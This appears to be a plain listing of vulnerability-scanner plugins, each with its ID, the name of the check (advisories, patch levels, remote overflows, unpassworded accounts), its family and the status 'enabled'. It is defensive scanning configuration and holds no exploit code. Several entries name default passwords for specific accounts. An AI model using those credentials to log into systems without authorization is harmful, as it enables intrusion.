58663
CentOS : RHSA-2012-0465
CentOS Local Security Checks
enabled
31850
Novell eDirectory eMBox Utility Unauthorized Access
Windows
enabled
11889
Exchange XEXCH50 Remote Buffer Overflow
SMTP problems
enabled
10564
Microsoft IIS Phone Book Service /pbserver/pbserver.dll Remote Overflow
CGI abuses
enabled
50403
Fedora 14 : firefox-3.6.12-1.fc14 / galeon-2.0.7-35.fc14.1 / gnome-python2-extras-2.25.3-25.fc14.1 / etc (2010-16897)
Fedora Local Security Checks
enabled
63402
GLSA-201301-01 : Mozilla Products: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
26968
TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
CGI abuses
enabled
59021
CentOS : RHSA-2012-0546
CentOS Local Security Checks
enabled
31969
Debian DSA-1547-1 : openoffice.org - several vulnerabilities
Debian Local Security Checks
enabled
14969
Debian DSA-132-1 : apache-ssl - remote DoS / exploit
Debian Local Security Checks
enabled
12305
RHEL 2.1 : apache (RHSA-2002-126)
Red Hat Local Security Checks
enabled
11330
MS00-035: MS SQL7.0 Service Pack may leave passwords on system (263968)
Windows : Microsoft Bulletins
enabled
64085
Fedora 16 : perl-5.14.3-205.fc16 (2013-0633)
Fedora Local Security Checks
enabled
55489
Debian DSA-2269-1 : iceape - several vulnerabilities
Debian Local Security Checks
enabled
22438
HP-UX PHSS_33253 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
48340
Adobe ColdFusion 'locale' Parameter Directory Traversal
CGI abuses
enabled
54995
SuSE 10 Security Update : wireshark (ZYPP Patch Number 7501)
SuSE Local Security Checks
enabled
41263
SuSE9 Security Update : Sun Java (YOU Patch Number 12321)
SuSE Local Security Checks
enabled
60785
Scientific Linux Security Update : wireshark on SL3.x, SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11523
Samba < 2.2.8a / 3.0.0 Multiple Remote Overflows
Gain a shell remotely
enabled
59455
MS12-037: Cumulative Security Update for Internet Explorer (2699988)
Windows : Microsoft Bulletins
enabled
49835
SuSE 10 Security Update : Samba (ZYPP Patch Number 7072)
SuSE Local Security Checks
enabled
11790
MS03-026 / MS03-039: Buffer Overrun In RPCSS Service Could Allow Code Execution (823980 / 824146)
Windows : Microsoft Bulletins
enabled
27618
SonicWALL SSL-VPN NetExtender NELaunchCtrl ActiveX Control Multiple Overflows
Windows
enabled
42855
SuSE 11.2 Security Update: java-1_6_0-sun (2009-11-13)
SuSE Local Security Checks
enabled
38987
iTunes < 8.2 itms: URL Stack Overflow (Mac OS X)
MacOS X Local Security Checks
enabled
18662
Debian DSA-747-1 : egroupware - input validation error
Debian Local Security Checks
enabled
15867
Mercury Mail Remote IMAP Server Remote Overflow
Gain a shell remotely
enabled
29421
SuSE 10 Security Update : ethereal (ZYPP Patch Number 3888)
SuSE Local Security Checks
enabled
50363
RHEL 3 / 4 : seamonkey (RHSA-2010-0810)
Red Hat Local Security Checks
enabled
58101
GLSA-201202-05 : Heimdal: Arbitrary code execution
Gentoo Local Security Checks
enabled
52068
SuSE 10 Security Update : IBM Java 1.6 (ZYPP Patch Number 7342)
SuSE Local Security Checks
enabled
51702
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 7131)
SuSE Local Security Checks
enabled
60107
Cisco Linksys PlayerPT ActiveX Control SetSource() Multiple Overflows
Windows
enabled
41593
SuSE 10 Security Update : udev (ZYPP Patch Number 6153)
SuSE Local Security Checks
enabled
62992
NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
CGI abuses
enabled
18597
Mandrake Linux Security Advisory : php-pear (MDKSA-2005:109)
Mandriva Local Security Checks
enabled
49286
MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) (uncredentialed check)
Windows
enabled
57838
SuSE 11.1 Security Update : MozillaFirefox (SAT Patch Number 5754)
SuSE Local Security Checks
enabled
55404
CentOS : RHSA-2011-0885
CentOS Local Security Checks
enabled
27992
USN-404-1 : MadWifi vulnerability
Ubuntu Local Security Checks
enabled
63584
Fedora 18 : java-1.7.0-openjdk-1.7.0.9-2.3.4.fc18 (2013-0853)
Fedora Local Security Checks
enabled
56849
HP-UX PHSS_42328 : s700_800 11.X OV NNM9.00 NNM 9.0x Patch 5
HP-UX Local Security Checks
enabled
39997
SuSE 11.0 Security Update: java-1_5_0-sun (2008-12-17)
SuSE Local Security Checks
enabled
50800
CentOS : RHSA-2010-0809
CentOS Local Security Checks
enabled
46845
MS10-038: Vulnerabilities in Microsoft Office Excel Could Allow Remote Code Execution (2027452)
Windows : Microsoft Bulletins
enabled
42250
SuSE 11 Security Update : Acrobat Reader (SAT Patch Number 1425)
SuSE Local Security Checks
enabled
57595
RHEL 4 / 5 / 6 : java-1.6.0-ibm (RHSA-2012-0034)
Red Hat Local Security Checks
enabled
58332
MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)
Windows : Microsoft Bulletins
enabled
18647
GLSA-200507-06 : TikiWiki: Arbitrary command execution through XML-RPC
Gentoo Local Security Checks
enabled
22194
MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution (921883) (uncredentialed check)
Windows
enabled
35403
Symantec AppStream Client LaunchObj ActiveX Control Multiple Unsafe Methods (SYM09-001)
Windows
enabled
58743
USN-1423-1 : samba vulnerability
Ubuntu Local Security Checks
enabled
14778
Mandrake Linux Security Advisory : apache (MDKSA-2002:039-2)
Mandriva Local Security Checks
enabled
41314
SuSE9 Security Update : Tomcat (YOU Patch Number 12460)
SuSE Local Security Checks
enabled
36103
Novell NetIdentity Agent < 1.2.4 Arbitrary Pointer De-reference Code Execution
Windows
enabled
51906
MS11-006: Vulnerability in Windows Shell Graphics Processing Could Allow Remote Code Execution (2483185)
Windows : Microsoft Bulletins
enabled
57044
Adobe Reader <= 10.1.1 / 9.4.6 U3D Memory Corruption (APSA11-04) (Mac OS X)
MacOS X Local Security Checks
enabled
63534
RHEL 5 / 6 : java-1.7.0-oracle (RHSA-2013-0156)
Red Hat Local Security Checks
enabled
11265
Default Password (satori) for 'rewt' Account
Default Unix Accounts
enabled
52948
Debian DSA-2201-1 : wireshark - several vulnerabilities
Debian Local Security Checks
enabled
21696
MS06-025: Vulnerability in Routing and Remote Access Could Allow Remote Code Execution (911280) (uncredentialed check)
Windows
enabled
50648
RHEL 6 : thunderbird (RHSA-2010-0896)
Red Hat Local Security Checks
enabled
18415
Bay Networks Accelar 1200 Switch Default Password (password) for 'usrname' Account
Misc.
enabled
55081
USN-1122-2 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
32194
SAP MaxDB Multiple Vulnerabilities
Databases
enabled
61719
McAfee Virtual Technician ActiveX Control GetObject() Method Remote Command Execution
Windows
enabled
19428
Novell eDirectory Server iMonitor Multiple Remote Overflows
Gain a shell remotely
enabled
35362
MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution (958687) (uncredentialed check)
Windows
enabled
57686
USN-1343-1 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
21785
Webmin / Usermin miniserv.pl Arbitrary File Disclosure
CGI abuses
enabled
51760
SuSE 10 Security Update : ruby (ZYPP Patch Number 6338)
SuSE Local Security Checks
enabled
59265
Fedora 15 : maniadrive-1.2-32.fc15.5 / php-5.3.13-1.fc15 / php-eaccelerator-0.9.6.1-9.fc15.5 (2012-7567)
Fedora Local Security Checks
enabled
63942
RHEL 4 / 5 : jbossweb (RHSA-2010-0584)
Red Hat Local Security Checks
enabled
33906
FreeBSD : ruby -- multiple vulnerabilities in safe level (c329712a-6b5b-11dd-9d79-001fc61c2a55)
FreeBSD Local Security Checks
enabled
40238
SuSE 11.1 Security Update: java-1_6_0-openjdk (2009-03-03)
SuSE Local Security Checks
enabled
62223
MS12-063: Cumulative Security Update for Internet Explorer (2744842)
Windows : Microsoft Bulletins
enabled
45372
Mac OS X < 10.6.3 Multiple Vulnerabilities
MacOS X Local Security Checks
enabled
19193
MailEnable IMAP STATUS Command Remote Overflow
Windows
enabled
50884
SuSE 11 / 11.1 Security Update : Acrobat Reader (SAT Patch Numbers 3268 / 3270)
SuSE Local Security Checks
enabled
59678
GLSA-201206-25 : Apache HTTP Server: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
58164
SuSE 11.1 Security Update : IBM Java 1.6.0 (SAT Patch Number 5872)
SuSE Local Security Checks
enabled
25260
FreeBSD : samba -- multiple vulnerabilities (3546a833-03ea-11dc-a51d-0019b95d4f14)
FreeBSD Local Security Checks
enabled
50799
CentOS : RHSA-2010-0808
CentOS Local Security Checks
enabled
21667
GLSA-200606-06 : AWStats: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
34082
Default Password (bank) for 'bank' Account
Default Unix Accounts
enabled
39859
Fedora 10 : wordpress-2.8.1-1.fc10 (2009-7729)
Fedora Local Security Checks
enabled
48218
CentOS : RHSA-2010-0580
CentOS Local Security Checks
enabled
58148
Debian DSA-2420-1 : openjdk-6 - several vulnerabilities
Debian Local Security Checks
enabled
58483
Dell Webcam CrazyTalk ActiveX Remote Overflow
Windows
enabled
62892
Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution
CGI abuses
enabled
18424
MiniShare Webserver HTTP GET Request Remote Overflow
Web Servers
enabled
64022
RHEL 4 / 5 / 6 : jbossweb (RHSA-2012-0074)
Red Hat Local Security Checks
enabled
60389
Scientific Linux Security Update : openoffice.org on SL3.x, SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
59084
FreeBSD : php -- multiple vulnerabilities (59b68b1e-9c78-11e1-b5e0-000c299b62e1)
FreeBSD Local Security Checks
enabled
56199
Adobe Reader < 10.1.1 / 9.4.6 / 8.3.1 Multiple Vulnerabilities (APSB11-21, APSB11-24) (Mac OS X)
MacOS X Local Security Checks
enabled
58362
VMSA-2012-0005 : VMware vCenter Server, Orchestrator, Update Manager, vShield, vSphere Client, Workstation, Player, ESXi, and ESX address several security issues
VMware ESX Local Security Checks
enabled
58302
VMSA-2012-0003 : VMware VirtualCenter Update and ESX 3.5 patch update JRE
VMware ESX Local Security Checks
enabled
55469
USN-1149-2 : firefox regression
Ubuntu Local Security Checks
enabled
60479
Scientific Linux Security Update : wireshark on SL3.x, SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
34730
VLC Media Player 0.5.0 to 0.9.5 Stack-Based Buffer Overflows
Windows
enabled
23886
Mandrake Linux Security Advisory : libtiff (MDKSA-2006:137)
Mandriva Local Security Checks
enabled
60470
Scientific Linux Security Update : tomcat on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
23740
Mac OS X Multiple Vulnerabilities (Security Update 2006-007)
MacOS X Local Security Checks
enabled
43064
MS09-072: Cumulative Security Update for Internet Explorer (976325)
Windows : Microsoft Bulletins
enabled
57996
SuSE 11.1 Security Update : flash-player (SAT Patch Number 5817)
SuSE Local Security Checks
enabled
42251
SuSE 11 Security Update : acroread_ja (SAT Patch Number 1424)
SuSE Local Security Checks
enabled
51162
MS10-090: Cumulative Security Update for Internet Explorer (2416400)
Windows : Microsoft Bulletins
enabled
63586
Fedora 16 : java-1.7.0-openjdk-1.7.0.9-2.3.4.fc16 (2013-0888)
Fedora Local Security Checks
enabled
23836
MS06-073: Vulnerability in Visual Studio 2005 Could Allow Remote Code Execution (925674)
Windows : Microsoft Bulletins
enabled
45513
MS10-026: Vulnerability in Microsoft MPEG Layer-3 Codecs Could Allow Remote Code Execution (977816)
Windows : Microsoft Bulletins
enabled
57228
SuSE 10 Security Update : Mozilla XULrunner (ZYPP Patch Number 7492)
SuSE Local Security Checks
enabled
22118
FreeBSD : apache -- mod_rewrite buffer overflow vulnerability (dc8c08c7-1e7c-11db-88cf-000c6ec775d9)
FreeBSD Local Security Checks
enabled
29372
SuSE 10 Security Update : Apache2 (ZYPP Patch Number 1906)
SuSE Local Security Checks
enabled
50493
Flash Player < 9.0.289 / 10.1.102.64 Multiple Vulnerabilities (APSB10-26)
Windows
enabled
39601
USN-795-1 : nagios2, nagios3 vulnerability
Ubuntu Local Security Checks
enabled
19948
X11 Server Unauthenticated Access
Misc.
enabled
44974
RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2010-0130)
Red Hat Local Security Checks
enabled
11247
Unpassworded 'sync' Account
Default Unix Accounts
enabled
44813
Debian DSA-1948-1 : ntp - denial of service
Debian Local Security Checks
enabled
63654
Fedora 17 : rubygem-actionpack-3.0.11-8.fc17 / rubygem-activemodel-3.0.11-2.fc17 / etc (2013-0635)
Fedora Local Security Checks
enabled
53468
FreeBSD : linux-flashplugin -- remote code execution vulnerability (32b05547-6913-11e0-bdc4-001b2134ef46)
FreeBSD Local Security Checks
enabled
29972
HP-UX PHSS_37398 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
60905
Scientific Linux Security Update : thunderbird on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
44646
VMware Host Agent Directory Traversal (VMSA-2009-0015)
CGI abuses
enabled
47905
RHEL 3 / 4 / 5 : java-1.4.2-ibm (RHSA-2010-0574)
Red Hat Local Security Checks
enabled
63289
RealPlayer for Windows < 16.0.0.282 Multiple Vulnerabilities
Windows
enabled
63657
Fedora 16 : rubygem-actionpack-3.0.10-10.fc16 / rubygem-activemodel-3.0.10-2.fc16 / etc (2013-0686)
Fedora Local Security Checks
enabled
11253
Unpassworded 'hax0r' Account
Default Unix Accounts
enabled
57043
Adobe Reader < 9.4.7 Multiple Memory Corruption Vulnerabilities (APSB11-30)
Windows
enabled
57403
FreeBSD : krb5-appl -- telnetd code execution vulnerability (4ddc78dc-300a-11e1-a2aa-0016ce01e285)
FreeBSD Local Security Checks
enabled
25068
RHEL 3 / 4 : php (RHSA-2007-0155)
Red Hat Local Security Checks
enabled
59210
Symantec Web Gateway upload_file() Remote Code Execution (SYM12-006) (intrusive check)
CGI abuses
enabled
36163
SAP GUI KWEdit ActiveX Control SaveDocumentAs() Insecure Method
Windows
enabled
60502
Scientific Linux Security Update : ruby on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
14547
GLSA-200407-14 : Unreal Tournament 2003/2004: Buffer overflow in 'secure' queries
Gentoo Local Security Checks
enabled
64281
RHEL 6 : rubygem-activesupport (RHSA-2013-0201)
Red Hat Local Security Checks
enabled
59009
FreeBSD : php -- vulnerability in certain CGI-based setups (60de13d5-95f0-11e1-806a-001143cd36d8)
FreeBSD Local Security Checks
enabled
22138
CentOS : RHSA-2006-0611
CentOS Local Security Checks
enabled
55813
RHEL 5 / 6 : flash-plugin (RHSA-2011-1144)
Red Hat Local Security Checks
enabled
57775
Thunderbird 9.x Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
59623
GLSA-201204-07 : Adobe Flash Player: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
61786
Scientific Linux Security Update : java-1.7.0-openjdk on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
58050
Fedora 16 : httpd-2.2.22-1.fc16 (2012-1598)
Fedora Local Security Checks
enabled
47411
Fedora 11 : java-1.6.0-openjdk-1.6.0.0-34.b17.fc11 (2010-6039)
Fedora Local Security Checks
enabled
45109
Novell eDirectory DHost Predictable Session ID
Web Servers
enabled
39866
Fedora 10 : wxGTK-2.8.10-2.fc10 / Fedora 11 : moin-1.8.4-2.fc11 (2009-7794)
Fedora Local Security Checks
enabled
57088
SuSE 11.1 Security Update : Apache (SAT Patch Number 5090)
SuSE Local Security Checks
enabled
46880
SuSE 11.1 Security Update: flash-player (2010-06-11)
SuSE Local Security Checks
enabled
58673
RHEL 5 : samba3x (RHSA-2012-0466)
Red Hat Local Security Checks
enabled
27776
Fedora 7 : hplip-1.7.4a-6.fc7 (2007-2527)
Fedora Local Security Checks
enabled
59637
RHEL 6 : java-1.7.0-openjdk (RHSA-2012-1009)
Red Hat Local Security Checks
enabled
24021
Easy File Sharing FTP Server PASS Command Overflow
FTP
enabled
50700
FreeBSD : proftpd -- remote code execution vulnerability (533d20e7-f71f-11df-9ae1-000bcdf0a03b)
FreeBSD Local Security Checks
enabled
53559
Debian DSA-2226-1 : libmodplug - buffer overflow
Debian Local Security Checks
enabled
58273
FlexNet License Multiple Vulnerabilities
Windows
enabled
51136
USN-1032-1 : exim4 vulnerability
Ubuntu Local Security Checks
enabled
10766
Apache UserDir Directive Username Enumeration
Web Servers
enabled
32023
SuSE Security Update: OpenOffice: Fix for multiple vulnerabilities. (OpenOffice_org-5053)
SuSE Local Security Checks
enabled
56348
IBM WebSphere Application Server 8.0 < Fix Pack 1 Multiple Vulnerabilities
Web Servers
enabled
50387
Shockwave Player < 11.5.9.615
Windows
enabled
49084
SuSE 11.2 Security Update: acroread (2010-08-26)
SuSE Local Security Checks
enabled
43742
CentOS : RHSA-2009-0427
CentOS Local Security Checks
enabled
57189
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7477)
SuSE Local Security Checks
enabled
59677
GLSA-201206-24 : Apache Tomcat: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
53315
SuSE 11.1 Security Update : wireshark (SAT Patch Number 4267)
SuSE Local Security Checks
enabled
19326
GLSA-200507-24 : Mozilla Suite: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
12037
Serv-U SITE CHMOD Command Multiple Vulnerabilities
FTP
enabled
44124
SuSE 11.0 Security Update: acroread (2010-01-22)
SuSE Local Security Checks
enabled
47165
Adobe Reader < 9.3.3 / 8.2.3 Multiple Vulnerabilities (APSB10-15)
Windows
enabled
19704
TWiki rev Parameter Arbitrary Command Execution
CGI abuses
enabled
51736
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7071)
SuSE Local Security Checks
enabled
57458
USN-1306-2 : mozvoikko, ubufox update
Ubuntu Local Security Checks
enabled
23831
FileZilla FTP Server < 0.9.22 Wildcard Handling Remote DoS
Windows
enabled
50952
SuSE 11 / 11.1 Security Update : Mozilla XULrunner (SAT Patch Numbers 3557 / 3558)
SuSE Local Security Checks
enabled
57753
Debian DSA-2399-2 : php5 - several vulnerabilities
Debian Local Security Checks
enabled
39379
HP-UX PHSS_38488 : s700_800 11.X OV NNM7.53 PA-RISC Intermediate Patch 20
HP-UX Local Security Checks
enabled
33870
MS08-041: Vulnerability in the ActiveX Control for the Snapshot Viewer for Microsoft Access Could Allow Remote Code Execution (955617)
Windows : Microsoft Bulletins
enabled
62977
Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download
Misc.
enabled
23952
FreeBSD : proftpd -- remote code execution vulnerabilities (3f851b22-89fb-11db-a937-003048116330)
FreeBSD Local Security Checks
enabled
15117
Debian DSA-280-1 : samba - buffer overflow
Debian Local Security Checks
enabled
61311
Scientific Linux Security Update : php53 on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
47034
RHEL 3 / 4 / 5 : samba and samba3x (RHSA-2010-0488)
Red Hat Local Security Checks
enabled
46737
TikiWiki tiki-lastchanges.php Empty sort_mode Parameter Information Disclosure
CGI abuses
enabled
41365
SuSE 11 Security Update : acroread_ja (SAT Patch Number 769)
SuSE Local Security Checks
enabled
51904
MS11-004: Vulnerability in Internet Information Services (IIS) FTP Service Could Allow Remote Code Execution (2489256)
Windows : Microsoft Bulletins
enabled
57765
Trend Micro Control Manager CmdProcessor.exe Remote Buffer Overflow (uncredentialed check)
Gain a shell remotely
enabled
62379
GLSA-201209-23 : GIMP: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
57991
RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2012-0139)
Red Hat Local Security Checks
enabled
10374
UoW imapd (UW-IMAP) Multiple Command Remote Overflows (2)
Gain a shell remotely
enabled
10498
Web Server HTTP Dangerous Method Detection
Web Servers
enabled
39419
USN-788-1 : tomcat6 vulnerabilities
Ubuntu Local Security Checks
enabled
46187
SuSE 11.0 Security Update: java-1_6_0-openjdk (2010-04-28)
SuSE Local Security Checks
enabled
10345
Cayman DSL Router Unauthenticated Access
Misc.
enabled
11808
MS03-026: Microsoft RPC Interface Buffer Overrun (823980) (uncredentialed check)
Windows
enabled
59449
MySQL 5.5 < 5.5.24 Security Bypass Vulnerability
Databases
enabled
57276
MS11-090: Cumulative Security Update of ActiveX Kill Bits (2618451)
Windows : Microsoft Bulletins
enabled
40385
VMSA-2008-0018 : VMware Hosted products and patches for ESX and ESXi resolve two security issues
VMware ESX Local Security Checks
enabled
63470
FreeBSD : nagios -- buffer overflow in history.cgi (97c22a94-5b8b-11e2-b131-000c299b62e1)
FreeBSD Local Security Checks
enabled
39853
Firefox < 3.5.1 Multiple Vulnerabilities
Windows
enabled
50613
Adobe Acrobat 9.x < 9.4.1 Multiple Vulnerabilities (APSB10-28)
Windows
enabled
40732
RHEL 4 / 5 : java-1.5.0-sun (RHSA-2008-1025)
Red Hat Local Security Checks
enabled
47568
SuSE9 Security Update : Samba (YOU Patch Number 12622)
SuSE Local Security Checks
enabled
28238
RHEL 4 : wireshark (RHSA-2007-0709)
Red Hat Local Security Checks
enabled
15774
CCProxy Logging Compoent HTTP GET Request Remote Overflow
Web Servers
enabled
63609
USN-1693-1 : openjdk-7 vulnerabilities
Ubuntu Local Security Checks
enabled
23718
HP-UX PHSS_35460 : s700_800 11.04 Virtualvault 4.7 IWS update
HP-UX Local Security Checks
enabled
10671
MS01-026 / MS01-044: Microsoft IIS Remote Command Execution (uncredentialed check)
Web Servers
enabled
47410
Fedora 12 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc12 (2010-6025)
Fedora Local Security Checks
enabled
24236
Symantec AntiVirus Management Interface Remote Overflow (SYM06-010)
Windows
enabled
26942
GLSA-200710-02 : PHP: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
53271
HP-UX PHNE_41908 : HP-UX Running XNTP, Remote Denial of Service (DoS) (HPSBUX02639 SSRT100293 rev.1)
HP-UX Local Security Checks
enabled
59045
MS12-034: Combined Security Update for Microsoft Office, Windows, .NET Framework, and Silverlight (2681578) (Mac OS X)
MacOS X Local Security Checks
enabled
32433
IBM Lotus Domino < 8.0.1 / 7.0.3 FP1 Multiple Vulnerabilities
Web Servers
enabled
58026
Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2012:021)
Mandriva Local Security Checks
enabled
34081
Default Password (admin) for 'admin' Account
Default Unix Accounts
enabled
53304
Debian DSA-2211-1 : vlc - missing input sanitising
Debian Local Security Checks
enabled
40035
SuSE 11.0 Security Update: libopenssl-devel (2009-06-09)
SuSE Local Security Checks
enabled
47042
Mandriva Linux Security Advisory : samba (MDVSA-2010:119)
Mandriva Local Security Checks
enabled
59042
MS12-034: Combined Security Update for Microsoft Office, Windows, .NET Framework, and Silverlight (2681578)
Windows : Microsoft Bulletins
enabled
34839
FreeBSD : openfire -- multiple vulnerabilities (937adf01-b64a-11dd-a55e-00163e000016)
FreeBSD Local Security Checks
enabled
46176
Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2010:084)
Mandriva Local Security Checks
enabled
63884
RHEL 5 : JBoss EAP (RHSA-2009-1145)
Red Hat Local Security Checks
enabled
24683
Trend Micro OfficeScan OfficeScanSetupINI.dll Remote Buffer Overflow
Windows
enabled
24395
Solaris 5.8 (sparc) : 120671-08
Solaris Local Security Checks
enabled
56058
Oracle Database, October 2007 Critical Patch Update
Databases
enabled
49780
Foxit Reader < 4.2.0.0928 Multiple Vulnerabilities
Windows
enabled
50803
CentOS : RHSA-2010-0812
CentOS Local Security Checks
enabled
24234
Mac OS X Security Update 2007-001
MacOS X Local Security Checks
enabled
23783
MailEnable IMAP Server Multiple Buffer Overflow Vulnerabilities (ME-10025)
Windows
enabled
60880
Scientific Linux Security Update : xulrunner on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
59561
Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2012:095)
Mandriva Local Security Checks
enabled
20990
Mac OS X Multiple Vulnerabilities (Security Update 2006-001)
MacOS X Local Security Checks
enabled
63111
Narcissus backend.php release Parameter Remote Command Execution
CGI abuses
enabled
26165
Solaris 9 (sparc) : 112837-24
Solaris Local Security Checks
enabled
43870
SuSE 11.1 Security Update: ntp (2009-12-21)
SuSE Local Security Checks
enabled
28269
HP-UX PHSS_35457 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
63798
AIX 5.3 TL 8 : xntpd (IZ68659)
AIX Local Security Checks
enabled
56062
Oracle Database, October 2008 Critical Patch Update
Databases
enabled
11252
Unpassworded 'toor' Account
Default Unix Accounts
enabled
12285
Unreal Engine Secure Query Remote Overflow
Gain a shell remotely
enabled
41137
SuSE9 Security Update : ethereal (YOU Patch Number 11574)
SuSE Local Security Checks
enabled
14158
Mandrake Linux Security Advisory : squid (MDKSA-2004:059)
Mandriva Local Security Checks
enabled
10595
DNS Server Zone Transfer Information Disclosure (AXFR)
DNS
enabled
38018
Mandriva Linux Security Advisory : ruby (MDVSA-2008:226)
Mandriva Local Security Checks
enabled
43360
HP-UX PHSS_39639 : HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code (HPSBMA02416 SSRT090008 rev.5)
HP-UX Local Security Checks
enabled
61213
Scientific Linux Security Update : krb5-appl on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
39906
SuSE 11.0 Security Update: acroread (2009-03-25)
SuSE Local Security Checks
enabled
11136
Multiple OS /bin/login Remote Overflow
Gain a shell remotely
enabled
35821
Adobe Reader < 9.1 / 8.1.4 / 7.1.1 Multiple Vulnerabilities
Windows
enabled
51694
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 6583)
SuSE Local Security Checks
enabled
40306
SuSE 11.1 Security Update: ruby (2009-07-03)
SuSE Local Security Checks
enabled
64076
RHEL 6 : Ruby on Rails (RHSA-2013-0154)
Red Hat Local Security Checks
enabled
39485
Mandriva Linux Security Advisory : tomcat5 (MDVSA-2009:136)
Mandriva Local Security Checks
enabled
62114
FreeBSD : vlc -- arbitrary code execution in Real RTSP and MMS support (62f36dfd-ff56-11e1-8821-001b2134ef46)
FreeBSD Local Security Checks
enabled
43873
SuSE 11 Security Update : ntp (SAT Patch Number 1677)
SuSE Local Security Checks
enabled
59839
Debian DSA-2507-1 : openjdk-6 - several vulnerabilities
Debian Local Security Checks
enabled
31136
Novell iPrint Control ActiveX (ienipp.ocx) ExecuteRequest() Method Overflow
Windows
enabled
42239
GLSA-200910-03 : Adobe Reader: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
59462
Oracle Java SE Multiple Vulnerabilities (June 2012 CPU)
Windows
enabled
11240
Unpassworded 'guest' Account
Default Unix Accounts
enabled
18805
SSA-2005-192-01 : PHP
Slackware Local Security Checks
enabled
11705
LeapFTP < 2.7.4.x PASV Reply Remote Overflow
Windows
enabled
51690
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 6121)
SuSE Local Security Checks
enabled
50361
RHEL 4 : firefox (RHSA-2010-0808)
Red Hat Local Security Checks
enabled
56860
USN-1263-1 : icedtea-web, openjdk-6, openjdk-6b18 vulnerabilities
Ubuntu Local Security Checks
enabled
60828
Scientific Linux Security Update : tomcat5 on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
29924
SAP DB / MaxDB Cons Program Arbitrary Command Execution
Databases
enabled
63931
RHEL 5 : JBoss EAP (RHSA-2010-0379)
Red Hat Local Security Checks
enabled
48907
RealPlayer for Windows < Build 12.0.0.879 Multiple Vulnerabilities
Windows
enabled
55408
USN-1157-1 : firefox vulnerabilities
Ubuntu Local Security Checks
enabled
58416
VLC Media Player < 2.0.1 Multiple Vulnerabilities
Windows
enabled
50571
Mandriva Linux Security Advisory : proftpd (MDVSA-2010:227)
Mandriva Local Security Checks
enabled
25099
Debian DSA-1282-1 : php4 - several vulnerabilities
Debian Local Security Checks
enabled
55523
vsftpd Smiley Face Backdoor
FTP
enabled
57361
Thunderbird 8.x Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
20863
SeaMonkey < 1.0 Multiple Vulnerabilities
Windows
enabled
63892
RHEL 5 : openssl (RHSA-2009-1335)
Red Hat Local Security Checks
enabled
29744
Firefox < 1.0.8 Multiple Vulnerabilities
Windows
enabled
55162
SuSE 11.1 Security Update : flash-player (SAT Patch Number 4715)
SuSE Local Security Checks
enabled
30187
WinComLPD LPD Monitoring Server Authentication Bypass
Misc.
enabled
58972
FreeBSD : WebCalendar -- multiple vulnerabilities (18dffa02-946a-11e1-be9d-000c29cc39d3)
FreeBSD Local Security Checks
enabled
47750
MS KB2286198: Windows Shell Shortcut Icon Parsing Arbitrary Code Execution
Windows
enabled
22105
FreeBSD : mozilla -- multiple vulnerabilities (e2a92664-1d60-11db-88cf-000c6ec775d9)
FreeBSD Local Security Checks
enabled
53779
SuSE 11.2 Security Update: mozilla-xulrunner191 (2011-04-29)
SuSE Local Security Checks
enabled
13631
Solaris 9 (x86) : 116454-03
Solaris Local Security Checks
enabled
59461
MS KB2719615: Vulnerability in Microsoft XML Core Services Could Allow Remote Code Execution
Windows
enabled
11067
Microsoft SQL Server Authentication Function Remote Overflow
Databases
enabled
31655
Apache < 2.0.59 mod_rewrite LDAP Protocol URL Handling Overflow
Web Servers
enabled
57786
FreeBSD : apache -- multiple vulnerabilities (4b7dbfab-4c6b-11e1-bc16-0023ae8e59f0)
FreeBSD Local Security Checks
enabled
46741
Apache Axis2 xsd Parameter Directory Traversal
CGI abuses
enabled
19408
